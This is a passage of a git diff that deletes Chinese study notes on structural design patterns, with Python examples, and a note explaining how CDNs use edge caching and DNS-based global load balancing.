[桥接](https://refactoringguru.cn/design-patterns/bridge)、 [状态模式](https://refactoringguru.cn/design-patterns/state)和[策略模式](https://refactoringguru.cn/design-patterns/strategy) (在某种程度上包括[适配器](https://refactoringguru.cn/design-patterns/adapter)) 模式的接口非常相似。 实际上, 它们都基于[组合模式](https://refactoringguru.cn/design-patterns/composite)——即将工作委派给其他对象, 不过也各自解决了不同的问题。 模式并不只是以特定方式组织代码的配方, 你还可以使用它们来和其他开发者讨论模式所解决的问题。 - -### Code - -```python -class Target: - """ - The Target defines the domain-specific interface used by the client code. - """ - - def request(self) -> str: - return "Target: The default target's behavior." - - -class Adaptee: - """ - The Adaptee contains some useful behavior, but its interface is incompatible - with the existing client code. The Adaptee needs some adaptation before the - client code can use it. - """ - - def specific_request(self) -> str: - return ".eetpadA eht fo roivaheb laicepS" - - -class Adapter(Target, Adaptee): - """ - The Adapter makes the Adaptee's interface compatible with the Target's - interface via multiple inheritance. - """ - - def request(self) -> str: - return f"Adapter: (TRANSLATED) {self.specific_request()[::-1]}" - - -def client_code(target: "Target") -> None: - """ - The client code supports all classes that follow the Target interface. - """ - - print(target.request(), end="") - - -if __name__ == "__main__": - print("Client: I can work just fine with the Target objects:") - target = Target() - client_code(target) - print("\n") - - adaptee = Adaptee() - print("Client: The Adaptee class has a weird interface. " - "See, I don't understand it:") - print(f"Adaptee: {adaptee.specific_request()}", end="\n\n") - - print("Client: But I can work with it via the Adapter:") - adapter = Adapter() - client_code(adapter) -``` - -## Bridge 桥接 - -**桥接模式**是一种结构型设计模式, 可将一个大类或一系列紧密相关的类拆分为抽象和实现两个独立的层次结构, 从而能在开发时分别使用。 - -The bridging pattern is a structural design pattern that splits a large class or series of closely related classes into two separate hierarchies of abstraction and implementation that can be used separately at development time. - -桥接设计模式 - -1. **抽象部分** (Abstraction) 提供高层控制逻辑, 依赖于完成底层实际工作的实现对象。 - -2. **实现部分** (Implementation) 为所有具体实现声明通用接口。 抽象部分仅能通过在这里声明的方法与实现对象交互。 - - 抽象部分可以列出和实现部分一样的方法, 但是抽象部分通常声明一些复杂行为, 这些行为依赖于多种由实现部分声明的原语操作。 - -3. **具体实现** (Concrete Implementations) 中包括特定于平台的代码。 - -4. **精确抽象** (Refined Abstraction) 提供控制逻辑的变体。 与其父类一样, 它们通过通用实现接口与不同的实现进行交互。 - -5. 通常情况下, **客户端** (Client) 仅关心如何与抽象部分合作。 但是, 客户端需要将抽象对象与一个实现对象连接起来。 - -桥接模式示例的结构 - -### 场景 - -- 如果你想要拆分或重组一个具有多重功能的庞杂类 (例如能与多个数据库服务器进行交互的类), 可以使用桥接模式。 -- 如果你希望在几个独立维度上扩展一个类, 可使用该模式。 -- 如果你需要在运行时切换不同实现方法, 可使用桥接模式。 - -### 优缺点 - -- 你可以创建与平台无关的类和程序。 -- 客户端代码仅与高层抽象部分进行互动, 不会接触到平台的详细信息。 -- *开闭原则*。 你可以新增抽象部分和实现部分, 且它们之间不会相互影响。 -- *单一职责原则*。 抽象部分专注于处理高层逻辑, 实现部分处理平台细节。 - -**Disadvantages:** - -对高内聚的类使用该模式可能会让代码更加复杂。 - -### 关系 - -**What is the difference between the bridge and adapter patterns?** - -- [桥接模式](https://refactoringguru.cn/design-patterns/bridge)通常会于开发前期进行设计, 使你能够将程序的各个部分独立开来以便开发。 另一方面, [适配器模式](https://refactoringguru.cn/design-patterns/adapter)通常在已有程序中使用, 让相互不兼容的类能很好地合作。 - -### Code:star: - -```python -from __future__ import annotations -from abc import ABC, abstractmethod - - -class Phone: - def __init__(self, implementation: Implementation) -> None: - self.implementation = implementation - - def run(self) -> str: - return (f"Abstraction Phone: Base operation with:\n" - f"{self.implementation.run()}") - - -class OPPO(Phone): - def run(self) -> str: - return (f"OPPO: Extended operation with OPPO:\n" - f"{self.implementation.run()}") - - -class ViVo(Phone): - def run(self) -> str: - return (f"ViVo: Extended operation with ViVo:\n" - f"{self.implementation.run()}") - - -class Implementation(ABC): - - @abstractmethod - def run(self) -> str: - pass - - -class SoftWare(Implementation): - def run(self) -> str: - return "SoftWare: Here's the result" - - -class Appstore(Implementation): - def run(self) -> str: - return "Appstore: Here's the result" - - -class Camera(Implementation): - def run(self) -> str: - return "Camera: Here's the result" - - -if __name__ == "__main__": - implementation = SoftWare() - abstraction = Phone(implementation) - print(abstraction.run()) - implementation = Camera() - abstraction = ViVo(implementation) - print(abstraction.run()) - abstraction = OPPO(implementation) - print(abstraction.run()) -``` - -## Decorator 装饰器 - -**装饰模式**是一种结构型设计模式, 允许你通过将对象放入包含行为的特殊封装对象中来为原对象绑定新的行为。 - -Decorator is a structural design pattern that allows you to bind new behavior to an object by putting it into a special wrapper that contains behavior. - -装饰设计模式的结构 - -1. **部件** (Component) 声明封装器和被封装对象的公用接口。 -2. **具体部件** (Concrete Component) 类是被封装对象所属的类。 它定义了基础行为, 但装饰类可以改变这些行为。 -3. **基础装饰** (Base Decorator) 类拥有一个指向被封装对象的引用成员变量。 该变量的类型应当被声明为通用部件接口, 这样它就可以引用具体的部件和装饰。 装饰基类会将所有操作委派给被封装的对象。 -4. **具体装饰类** (Concrete Decorators) 定义了可动态添加到部件的额外行为。 具体装饰类会重写装饰基类的方法, 并在调用父类方法之前或之后进行额外的行为。 -5. **客户端** (Client) 可以使用多层装饰来封装部件, 只要它能使用通用接口与所有对象互动即可。 - -### 场景 - -- 如果你希望在无需修改代码的情况下即可使用对象, 且希望在运行时为对象新增额外的行为, 可以使用装饰模式。 -- 如果用继承来扩展对象行为的方案难以实现或者根本不可行, 你可以使用该模式。 - -### 优缺点 - -**Advantages:** - -- 你无需创建新子类即可扩展对象的行为。 -- 你可以在运行时添加或删除对象的功能。 -- 你可以用多个装饰封装对象来组合几种行为。 -- *单一职责原则*。 你可以将实现了许多不同行为的一个大类拆分为多个较小的类。 - -**Disadvantages:** - -- 在封装器栈中删除特定封装器比较困难。 -- 实现行为不受装饰栈顺序影响的装饰比较困难。 -- 各层的初始化配置代码看上去可能会很糟糕。 - -### 关系 - -- [适配器模式](https://refactoringguru.cn/design-patterns/adapter)可以对已有对象的接口进行修改, [装饰模式](https://refactoringguru.cn/design-patterns/decorator)则能在不改变对象接口的前提下强化对象功能。 此外, *装饰*还支持递归组合, *适配器*则无法实现。 -- [适配器](https://refactoringguru.cn/design-patterns/adapter)能为被封装对象提供不同的接口, [代理模式](https://refactoringguru.cn/design-patterns/proxy)能为对象提供相同的接口, [装饰](https://refactoringguru.cn/design-patterns/decorator)则能为对象提供加强的接口。 -- [装饰](https://refactoringguru.cn/design-patterns/decorator)和[代理](https://refactoringguru.cn/design-patterns/proxy)有着相似的结构, 但是其意图却非常不同。 这两个模式的构建都基于组合原则, 也就是说一个对象应该将部分工作委派给另一个对象。 两者之间的不同之处在于*代理*通常自行管理其服务对象的生命周期, 而*装饰*的生成则总是由客户端进行控制。 - -### Code:star: - -```python -class Component(): - def operation(self) -> str: - pass - - -class ConcreteComponent(Component): - def operation(self) -> str: - return "ConcreteComponent" - - -class Decorator(Component): - _component: Component = None - - def __init__(self, component: Component) -> None: - self._component = component - - @property - def component(self) -> str: - return self._component - - def operation(self) -> str: - return self._component.operation() - - -class ConcreteDecoratorA(Decorator): - def operation(self) -> str: - return f"ConcreteDecoratorA({self.component.operation()})" - - -class ConcreteDecoratorB(Decorator): - def operation(self) -> str: - return f"ConcreteDecoratorB({self.component.operation()})" - - -def client_code(component: Component) -> None: - - # ... - - print(f"RESULT: {component.operation()}", end="") - - # ... - - -if __name__ == "__main__": - simple = ConcreteComponent() - print("Client: I've got a simple component:") - client_code(simple) - print("\n") - - decorator1 = ConcreteDecoratorA(simple) - decorator2 = ConcreteDecoratorB(decorator1) - print("Client: Now I've got a decorated component:") - client_code(decorator2) -``` - - - -## Facade 外观 - -**外观模式**是一种结构型设计模式, 能为程序库、 框架或其他复杂类提供一个简单的接口。 - -The facade pattern is a structural design pattern that provides a simple interface to libraries, frameworks, or other complex classes. - -外观设计模式的结构 - -1. **外观** (Facade) 提供了一种访问特定子系统功能的便捷方式, 其了解如何重定向客户端请求, 知晓如何操作一切活动部件。 - -2. 创建**附加外观** (Additional Facade) 类可以避免多种不相关的功能污染单一外观, 使其变成又一个复杂结构。 客户端和其他外观都可使用附加外观。 - -3. **复杂子系统** (Complex Subsystem) 由数十个不同对象构成。 如果要用这些对象完成有意义的工作, 你必须深入了解子系统的实现细节, 比如按照正确顺序初始化对象和为其提供正确格式的数据。 - - 子系统类不会意识到外观的存在, 它们在系统内运作并且相互之间可直接进行交互。 - -4. **客户端** (Client) 使用外观代替对子系统对象的直接调用。 - -### 场景 - -- 如果你需要一个指向复杂子系统的直接接口, 且该接口的功能有限, 则可以使用外观模式。 -- 如果需要将子系统组织为多层结构, 可以使用外观。 - -### 优缺点 - -**Advantages:** - -- 你可以让自己的代码独立于复杂子系统。 - -**Disadvantages:** - -- 外观可能成为与程序中所有类都耦合的[上帝对象](https://refactoringguru.cn/antipatterns/god-object)。God object - -### 关系 - -- [外观](https://refactoringguru.cn/design-patterns/facade)与[代理模式](https://refactoringguru.cn/design-patterns/proxy)的相似之处在于它们都缓存了一个复杂实体并自行对其进行初始化。 *代理*与其服务对象遵循同一接口, 使得自己和服务对象可以互换, 在这一点上它与*外观*不同 -- [外观模式](https://refactoringguru.cn/design-patterns/facade)为现有对象定义了一个新接口, [适配器模式](https://refactoringguru.cn/design-patterns/adapter)则会试图运用已有的接口。 *适配器*通常只封装一个对象, *外观*通常会作用于整个对象子系统上。 -- 当只需对客户端代码隐藏子系统创建对象的方式时, 你可以使用[抽象工厂模式](https://refactoringguru.cn/design-patterns/abstract-factory)来代替[外观](https://refactoringguru.cn/design-patterns/facade)。 - -### Code - -```python -class Facade: - """ - The Facade class provides a simple interface to the complex logic of one or - several subsystems. The Facade delegates the client requests to the - appropriate objects within the subsystem. The Facade is also responsible for - managing their lifecycle. All of this shields the client from the undesired - complexity of the subsystem. - """ - - def __init__(self, subsystem1: Subsystem1, subsystem2: Subsystem2) -> None: - """ - Depending on your application's needs, you can provide the Facade with - existing subsystem objects or force the Facade to create them on its - own. - """ - - self._subsystem1 = subsystem1 or Subsystem1() - self._subsystem2 = subsystem2 or Subsystem2() - - def operation(self) -> str: - """ - The Facade's methods are convenient shortcuts to the sophisticated - functionality of the subsystems. However, clients get only to a fraction - of a subsystem's capabilities. - """ - - results = [] - results.append("Facade initializes subsystems:") - results.append(self._subsystem1.operation1()) - results.append(self._subsystem2.operation1()) - results.append("Facade orders subsystems to perform the action:") - results.append(self._subsystem1.operation_n()) - results.append(self._subsystem2.operation_z()) - return "\n".join(results) - - -class Subsystem1: - """ - The Subsystem can accept requests either from the facade or client directly. - In any case, to the Subsystem, the Facade is yet another client, and it's - not a part of the Subsystem. - """ - - def operation1(self) -> str: - return "Subsystem1: Ready!" - - # ... - - def operation_n(self) -> str: - return "Subsystem1: Go!" - - -class Subsystem2: - """ - Some facades can work with multiple subsystems at the same time. - """ - - def operation1(self) -> str: - return "Subsystem2: Get ready!" - - # ... - - def operation_z(self) -> str: - return "Subsystem2: Fire!" - - -def client_code(facade: Facade) -> None: - """ - The client code works with complex subsystems through a simple interface - provided by the Facade. When a facade manages the lifecycle of the - subsystem, the client might not even know about the existence of the - subsystem. This approach lets you keep the complexity under control. - """ - - print(facade.operation(), end="") - - -if __name__ == "__main__": - # The client code may have some of the subsystem's objects already created. - # In this case, it might be worthwhile to initialize the Facade with these - # objects instead of letting the Facade create new instances. - subsystem1 = Subsystem1() - subsystem2 = Subsystem2() - facade = Facade(subsystem1, subsystem2) - client_code(facade) -``` - - - -## Proxy 代理模式 - -**代理模式**是一种结构型设计模式, 让你能够提供对象的替代品或其占位符。 代理控制着对于原对象的访问, 并允许在将请求提交给对象前后进行一些处理。 - -Proxy pattern is a structural design pattern that allows you to provide substitutes for objects or placeholders for them. The proxy controls access to the original object and allows some processing before and after the request is submitted to the object. - -代理设计模式的结构 - -1. **服务接口** (Service Interface) 声明了服务接口。 代理必须遵循该接口才能伪装成服务对象。 -2. **服务** (Service) 类提供了一些实用的业务逻辑。 -3. **代理** (Proxy) 类包含一个指向服务对象的引用成员变量。 代理完成其任务 (例如延迟初始化、 记录日志、 访问控制和缓存等) 后会将请求传递给服务对象。 通常情况下, 代理会对其服务对象的整个生命周期进行管理。 -4. **客户端** (Client) 能通过同一接口与服务或代理进行交互, 所以你可在一切需要服务对象的代码中使用代理。 - -### 场景 - -- 延迟初始化 (虚拟代理)。 如果你有一个偶尔使用的重量级服务对象, 一直保持该对象运行会消耗系统资源时, 可使用代理模式。 -- 访问控制 (保护代理)。 如果你只希望特定客户端使用服务对象, 这里的对象可以是操作系统中非常重要的部分, 而客户端则是各种已启动的程序 (包括恶意程序), 此时可使用代理模式。 -- 本地执行远程服务 (远程代理)。 适用于服务对象位于远程服务器上的情形。 -- 记录日志请求 (日志记录代理)。 适用于当你需要保存对于服务对象的请求历史记录时。 代理可以在向服务传递请求前进行记录。 - -### 优缺点 - -**Advantages:** - -- 你可以在客户端毫无察觉的情况下控制服务对象。 -- 如果客户端对服务对象的生命周期没有特殊要求, 你可以对生命周期进行管理。 -- 即使服务对象还未准备好或不存在, 代理也可以正常工作。 -- *开闭原则*。 你可以在不对服务或客户端做出修改的情况下创建新代理。 - -**Disadvantages:** - -- 代码可能会变得复杂, 因为需要新建许多类。 -- 服务响应可能会延迟。 - -### 关系 - -- [适配器模式](https://refactoringguru.cn/design-patterns/adapter)能为被封装对象提供不同的接口, [代理模式](https://refactoringguru.cn/design-patterns/proxy)能为对象提供相同的接口, [装饰模式](https://refactoringguru.cn/design-patterns/decorator)则能为对象提供加强的接口。 -- [外观模式](https://refactoringguru.cn/design-patterns/facade)与[代理](https://refactoringguru.cn/design-patterns/proxy)的相似之处在于它们都缓存了一个复杂实体并自行对其进行初始化。 *代理*与其服务对象遵循同一接口, 使得自己和服务对象可以互换, 在这一点上它与*外观*不同。 -- [装饰](https://refactoringguru.cn/design-patterns/decorator)和[代理](https://refactoringguru.cn/design-patterns/proxy)有着相似的结构, 但是其意图却非常不同。 这两个模式的构建都基于组合原则, 也就是说一个对象应该将部分工作委派给另一个对象。 两者之间的不同之处在于**代理通常自行管理其服务对象的生命周期, 而装饰的生成则总是由客户端进行控制。** - -## Flyweight 享元 - -**享元模式**是一种结构型设计模式, 它摒弃了在每个对象中保存所有数据的方式, 通过共享多个对象所共有的相同状态, 让你能在有限的内存容量中载入更多对象。 - -Flyweight is a structural design pattern that eliminates the need to store all data in each object and allows you to load more objects into limited memory by sharing the same state shared by multiple objects. - -享元设计模式的结构 - -1. 享元模式只是一种优化。 在应用该模式之前, 你要确定程序中存在与大量类似对象同时占用内存相关的内存消耗问题, 并且确保该问题无法使用其他更好的方式来解决。 -2. **享元** (Flyweight) 类包含原始对象中部分能在多个对象中共享的状态。 同一享元对象可在许多不同情景中使用。 享元中存储的状态被称为 “内在状态”。 传递给享元方法的状态被称为 “外在状态”。 -3. **情景** (Context) 类包含原始对象中各不相同的外在状态。 情景与享元对象组合在一起就能表示原始对象的全部状态。 -4. 通常情况下, 原始对象的行为会保留在享元类中。 因此调用享元方法必须提供部分外在状态作为参数。 但你也可将行为移动到情景类中, 然后将连入的享元作为单纯的数据对象。 -5. **客户端** (Client) 负责计算或存储享元的外在状态。 在客户端看来, 享元是一种可在运行时进行配置的模板对象, 具体的配置方式为向其方法中传入一些情景数据参数。 -6. **享元工厂** (Flyweight Factory) 会对已有享元的缓存池进行管理。 有了工厂后, 客户端就无需直接创建享元, 它们只需调用工厂并向其传递目标享元的一些内在状态即可。 工厂会根据参数在之前已创建的享元中进行查找, 如果找到满足条件的享元就将其返回; 如果没有找到就根据参数新建享元。 - -### 场景 - -- 仅在程序必须支持大量对象且没有足够的内存容量时使用享元模式。 - -### 优缺点 - -**Advantages:** - -- 如果程序中有很多相似对象, 那么你将可以节省大量内存。 - -**Disadvantages:** - -- 你可能需要牺牲执行速度来换取内存, 因为他人每次调用享元方法时都需要重新计算部分情景数据。 -- 代码会变得更加复杂。 - -### 关系 - -- 你可以使用[享元模式](https://refactoringguru.cn/design-patterns/flyweight)实现[组合模式](https://refactoringguru.cn/design-patterns/composite)树的共享叶节点以节省内存。 -- [享元](https://refactoringguru.cn/design-patterns/flyweight)展示了如何生成大量的小型对象, [外观模式](https://refactoringguru.cn/design-patterns/facade)则展示了如何用一个对象来代表整个子系统。 - -### Code:star: - -```python -class Vehicle: - def __init__(self, engine, color): - self.engine = engine - self.color = color - - def start(self): - return 'It start running' - - def stop(self): - return "It didn't running" - - def get_color(self): - return self.color - - -class Car(Vehicle): - def start(self): - return 'Car start running' - - def stop(self): - return "Car didn't running" - - def get_color(self): - return f"Car's color is {self.color}" - - -class VehicleFactory: - def __init__(self): - self.hashtable = dict() - - def get_cars(self, key) -> Car: - # Avoid creating cars of the same color repeatedly - if key not in self.hashtable: - self.hashtable[key] = Car('default Engine', key) - return self.hashtable[key] - - def get_car_number(self): - return len(self.hashtable.keys()) - - -if __name__ == '__main__': - factory = VehicleFactory() - car1 = factory.get_cars('red') - car2 = factory.get_cars('green') - car3 = factory.get_cars('green') - - print(car1.start()) - print(car1.get_color()) - print(car1.stop()) - print(car2.start()) - print(car2.get_color()) - print(car2.stop()) - - print(factory.get_car_number()) # 2 car -``` - -## Composite 组合模式 - -**组合模式**是一种结构型设计模式, 你可以使用它将对象组合成树状结构, 并且能像使用独立对象一样使用它们。 - -The composite pattern is a structural design pattern that allows you to combine objects into a tree structure and use them as if they were individual objects. - -组合设计模式的结构 - -1. **组件** (Component) 接口描述了树中简单项目和复杂项目所共有的操作。 - -2. **叶节点** (Leaf) 是树的基本结构, 它不包含子项目。 - - 一般情况下, 叶节点最终会完成大部分的实际工作, 因为它们无法将工作指派给其他部分。 - -3. **容器** (Container)——又名 “组合 (Composite)”——是包含叶节点或其他容器等子项目的单位。 容器不知道其子项目所属的具体类, 它只通过通用的组件接口与其子项目交互。 - - 容器接收到请求后会将工作分配给自己的子项目, 处理中间结果, 然后将最终结果返回给客户端。 - -4. **客户端** (Client) 通过组件接口与所有项目交互。 因此, 客户端能以相同方式与树状结构中的简单或复杂项目交互。 - -### 场景 - -- 如果你需要实现树状对象结构, 可以使用组合模式。 -- 组合模式中定义的所有元素共用同一个接口。 在这一接口的帮助下, 客户端不必在意其所使用的对象的具体类。 - -### 优缺点 - -**Advantages:** - -- 你可以利用多态和递归机制更方便地使用复杂树结构。 -- *开闭原则*。 无需更改现有代码, 你就可以在应用中添加新元素, 使其成为对象树的一部分。 - -**Disadvantages:** - -- 对于功能差异较大的类, 提供公共接口或许会有困难。 在特定情况下, 你需要过度一般化组件接口, 使其变得令人难以理解。 - -### 关系 - -- [桥接模式](https://refactoringguru.cn/design-patterns/bridge)、 [状态模式](https://refactoringguru.cn/design-patterns/state)和[策略模式](https://refactoringguru.cn/design-patterns/strategy) (在某种程度上包括[适配器模式](https://refactoringguru.cn/design-patterns/adapter)) 模式的接口非常相似。 实际上, 它们都基于[组合模式](https://refactoringguru.cn/design-patterns/composite)——即将工作委派给其他对象, 不过也各自解决了不同的问题。 模式并不只是以特定方式组织代码的配方, 你还可以使用它们来和其他开发者讨论模式所解决的问题。 -- 你可以在创建复杂[组合](https://refactoringguru.cn/design-patterns/composite)树时使用[生成器模式](https://refactoringguru.cn/design-patterns/builder), 因为这可使其构造步骤以递归的方式运行。 -- [责任链模式](https://refactoringguru.cn/design-patterns/chain-of-responsibility)通常和[组合模式](https://refactoringguru.cn/design-patterns/composite)结合使用。 在这种情况下, 叶组件接收到请求后, 可以将请求沿包含全体父组件的链一直传递至对象树的底部。 - -### Code - -```python -from abc import ABC, abstractmethod -from typing import List - - -class Component(ABC): - @property - def parent(self) -> Component: - return self._parent - - @parent.setter - def parent(self, parent: Component): - """ - Optionally, the base Component can declare an interface for setting and - accessing a parent of the component in a tree structure. It can also - provide some default implementation for these methods. - """ - - self._parent = parent - - """ - In some cases, it would be beneficial to define the child-management - operations right in the base Component class. This way, you won't need to - expose any concrete component classes to the client code, even during the - object tree assembly. The downside is that these methods will be empty for - the leaf-level components. - """ - - def add(self, component: Component) -> None: - pass - - def remove(self, component: Component) -> None: - pass - - def is_composite(self) -> bool: - """ - You can provide a method that lets the client code figure out whether a - component can bear children. - """ - - return False - - @abstractmethod - def operation(self) -> str: - """ - The base Component may implement some default behavior or leave it to - concrete classes (by declaring the method containing the behavior as - "abstract"). - """ - - pass - - -class Leaf(Component): - """ - The Leaf class represents the end objects of a composition. A leaf can't - have any children. - - Usually, it's the Leaf objects that do the actual work, whereas Composite - objects only delegate to their sub-components. - """ - - def operation(self) -> str: - return "Leaf" - - -class Composite(Component): - """ - The Composite class represents the complex components that may have - children. Usually, the Composite objects delegate the actual work to their - children and then "sum-up" the result. - """ - def __init__(self) -> None: - self._children: List[Component] = [] - - """ - A composite object can add or remove other components (both simple or - complex) to or from its child list. - """ - - def add(self, component: Component) -> None: - self._children.append(component) - component.parent = self - - def remove(self, component: Component) -> None: - self._children.remove(component) - component.parent = None - - def is_composite(self) -> bool: - return True - - def operation(self) -> str: - """ - The Composite executes its primary logic in a particular way. It - traverses recursively through all its children, collecting and summing - their results. Since the composite's children pass these calls to their - children and so forth, the whole object tree is traversed as a result. - """ - - results = [] - for child in self._children: - results.append(child.operation()) - return f"Branch({'+'.join(results)})" - - -def client_code(component: Component) -> None: - """ - The client code works with all of the components via the base interface. - """ - - print(f"RESULT: {component.operation()}", end="") - - -def client_code2(component1: Component, component2: Component) -> None: - """ - Thanks to the fact that the child-management operations are declared in the - base Component class, the client code can work with any component, simple or - complex, without depending on their concrete classes. - """ - - if component1.is_composite(): - component1.add(component2) - - print(f"RESULT: {component1.operation()}", end="") - - -if __name__ == "__main__": - # This way the client code can support the simple leaf components... - simple = Leaf() - print("Client: I've got a simple component:") - client_code(simple) - print("\n") - - # ...as well as the complex composites. - tree = Composite() - - branch1 = Composite() - branch1.add(Leaf()) - branch1.add(Leaf()) - - branch2 = Composite() - branch2.add(Leaf()) - - tree.add(branch1) - tree.add(branch2) - - print("Client: Now I've got a composite tree:") - client_code(tree) - print("\n") - - print("Client: I don't need to check the components classes even when managing the tree:") - client_code2(tree, simple) -``` diff --git "a/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/CDN \345\206\205\345\256\271\345\210\206\345\217\221\347\275\221\347\273\234.md" "b/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/CDN \345\206\205\345\256\271\345\210\206\345\217\221\347\275\221\347\273\234.md" deleted file mode 100644 index 2cfb56f8..00000000 --- "a/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/CDN \345\206\205\345\256\271\345\210\206\345\217\221\347\275\221\347\273\234.md" +++ /dev/null @@ -1,83 +0,0 @@ ---- -date: 2022-07-18 -category: -- 面试题 -- 计算机网络 ---- - -# CDN 内容分发网络 - -CDN(Content Delivery Network 或 Content Distribution Network),中文名叫“内容分发网络”。 - -## 为什么要有网络加速? - -你可能要问了,HTTP 的传输速度也不算差啊,而且还有更好的 HTTP/2,为什么还要再有一个额外的 CDN 来加速呢?是不是有点“多此一举”呢? - -这里我们就必须要考虑现实中会遇到的问题了。你一定知道,光速是有限的,虽然每秒 30 万公里,但这只是真空中的上限,在实际的电缆、光缆中的速度会下降到原本的三分之二左右,也就是 20 万公里 / 秒,这样一来,地理位置的距离导致的传输延迟就会变得比较明显了。 - -比如,北京到广州直线距离大约是 2000 公里,按照刚才的 20 万公里 / 秒来算的话,发送一个请求单程就要 10 毫秒,往返要 20 毫秒,即使什么都不干,这个“硬性”的时延也是躲不过的。另外不要忘了, 互联网从逻辑上看是一张大网,但实际上是由许多小网络组成的,这其中就有小网络“互连互通”的问题,典型的就是各个电信运营商的网络,比如国内的电信、联通、移动三大家。 - -![](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202205142138801.png) - -这些小网络内部的沟通很顺畅,但网络之间却只有很少的联通点。如果你在 A 网络,而网站在 C 网络,那么就必须“跨网”传输,和成千上万的其他用户一起去“挤”连接点的“独木桥”。而带宽终究是有限的,能抢到多少只能看你的运气。还有,网络中还存在许多的路由器、网关,数据每经过一个节点,都要停顿一下,在二层、三层解析转发,这也会消耗一定的时间,带来延迟。把这些因素再放到全球来看,地理距离、运营商网络、路由转发的影响就会成倍增加。想象一下,你在北京,访问旧金山的网站,要跨越半个地球,中间会有多少环节,会增加多少时延? - -最终结果就是,如果仅用现有的 HTTP 传输方式,大多数网站都会访问速度缓慢、用户体验糟糕。 - -## 什么是 CDN? - -它就是专门为解决“长距离”上网络访问速度慢而诞生的一种网络应用服务。 - -CDN 有三个关键词:**“内容”“分发”和“网络”。** - -先看一下“网络”的含义。CDN 的最核心原则是“就近访问”,如果用户能够在本地几十公里的距离之内获取到数据,那么时延就基本上变成 0 了。 - -所以 CDN 投入了大笔资金,在全国、乃至全球的各个大枢纽城市都建立了机房,部署了大量拥有高存储高带宽的节点,构建了一个专用网络。这个网络是跨运营商、跨地域的,虽然内部也划分成多个小网络,但它们之间用高速专有线路连接,是真正的“信息高速公路”,基本上可以认为不存在网络拥堵。 - -有了这个高速的专用网之后,CDN 就要“分发”源站的“内容”了,用到的就是“**缓存代理**”技术。使用“推”或者“拉”的手段,把源站的内容逐级缓存到网络的每一个节点上。 - -于是,用户在上网的时候就不直接访问源站,而是访问离他“最近的”一个 CDN 节点,术语叫“**边缘节点”(edge node)**,其实就是缓存了源站内容的代理服务器,这样一来就省去了“长途跋涉”的时间成本,实现了“网络加速”。 - -![img](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202205142142329.png) - -在 CDN 领域里,“内容”其实就是 HTTP 协议里的“资源”,比如超文本、图片、视频、应用程序安装包等等。 - -资源按照是否可缓存又分为**“静态资源”和“动态资源”**。所谓的“静态资源”是指数据内容“静态不变”,任何时候来访问都是一样的,比如图片、音频。所谓的“动态资源”是指数据内容是“动态变化”的,也就是由后台服务计算生成的,每次访问都不一样,比如商品的库存、微博的粉丝数等。 - -很显然,只有静态资源才能够被缓存加速、就近访问,而动态资源只能由源站实时生成,即使缓存了也没有意义。不过,如果动态资源指定了“Cache-Control”,允许缓存短暂的时间,那它在这段时间里也就变成了“静态资源”,可以被 CDN 缓存加速。 - -> “我们不生产内容,我们只是内容的搬运工。” - -## CDN 的负载均衡 - -我们再来看看 CDN 是具体怎么运行的,它有两个关键组成部分:**全局负载均衡和缓存系统** - -全局负载均衡(Global Sever Load Balance)一般简称为 GSLB,它是 CDN 的“大脑”,主要的职责是当用户接入网络的时候在 CDN 专网中挑选出一个“最佳”节点提供服务,解决的是用户如何找到“最近的”边缘节点,对整个 CDN 网络进行“负载均衡”。 - -![img](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202205142147642.png)GSLB 最常见的实现方式是“DNS 负载均衡”,不过 GSLB 的方式要略微复杂一些。 - -原来没有 CDN 的时候,权威 DNS 返回的是网站自己服务器的实际 IP 地址,浏览器收到 DNS 解析结果后直连网站。 - -但加入 CDN 后就不一样了,权威 DNS 返回的不是 IP 地址,**而是一个 CNAME( Canonical Name ) 别名记录,指向的就是 CDN 的 GSLB。**它有点像是 HTTP/2 里“Alt-Svc”的意思,告诉外面:“我这里暂时没法给你真正的地址,你去另外一个地方再查查看吧。” - -因为没拿到 IP 地址,于是本地 DNS 就会向 GSLB 再发起请求,这样就进入了 CDN 的全局负载均衡系统,开始“智能调度”,主要的依据有这么几个: - -1. 看用户的 IP 地址,查表得知地理位置,找相对最近的边缘节点; -2. 看用户所在的运营商网络,找相同网络的边缘节点; -3. 检查边缘节点的负载情况,找负载较轻的节点; -4. 其他,比如节点的“健康状况”、服务能力、带宽、响应时间等。 - -GSLB 把这些因素综合起来,用一个复杂的算法,最后找出一台“最合适”的边缘节点,把这个节点的 IP 地址返回给用户,用户就可以“就近”访问 CDN 的缓存代理了。 - -## CDN 的缓存代理 - -缓存系统是 CDN 的另一个关键组成部分,相当于 CDN 的“心脏”。如果缓存系统的服务能力不够,不能很好地满足用户的需求,那 GSLB 调度算法再优秀也没有用。但互联网上的资源是无穷无尽的,不管 CDN 厂商有多大的实力,也不可能把所有资源都缓存起来。所以,缓存系统只能有选择地缓存那些最常用的那些资源。 - -这里就有两个 CDN 的关键概念:**“命中”和“回源”。**“命中”就是指用户访问的资源恰好在缓存系统里,可以直接返回给用户;“回源”则正相反,缓存里没有,必须用代理的方式回源站取。 - -相应地,也就有了两个衡量 CDN 服务质量的指标:“命中率”和“回源率”。命中率就是命中次数与所有访问次数之比,回源率是回源次数与所有访问次数之比。显然,好的 CDN 应该是命中率越高越好,回源率越低越好。现在的商业 CDN 命中率都在 90% 以上,相当于把源站的服务能力放大了 10 倍以上。 - -## 总结 - -CDN 发展到现在已经有二十来年的历史了,早期的 CDN 功能比较简单,只能加速静态资源。随着这些年 Web 2.0、HTTPS、视频、直播等新技术、新业务的崛起,它也在不断进步,增加了很多的新功能,比如 SSL 加速、内容优化(数据压缩、图片格式转换、视频转码)、资源防盗链、WAF 安全防护等等。 - -由于客观地理距离的存在,直连网站访问速度会很慢,所以就出现了 CDN;CDN 构建了全国、全球级别的专网,让用户就近访问专网里的边缘节点,降低了传输延迟,实现了网站加速;GSLB 是 CDN 的“大脑”,使用 DNS 负载均衡技术,智能调度边缘节点提供服务;缓存系统是 CDN 的“心脏”,使用 HTTP 缓存代理技术,缓存命中就返回给用户,否则就要回源。 diff --git "a/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/HTTP/HTTP \344\273\243\347\220\206\345\222\214\347\274\223\345\255\230.md" "b/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/HTTP/HTTP 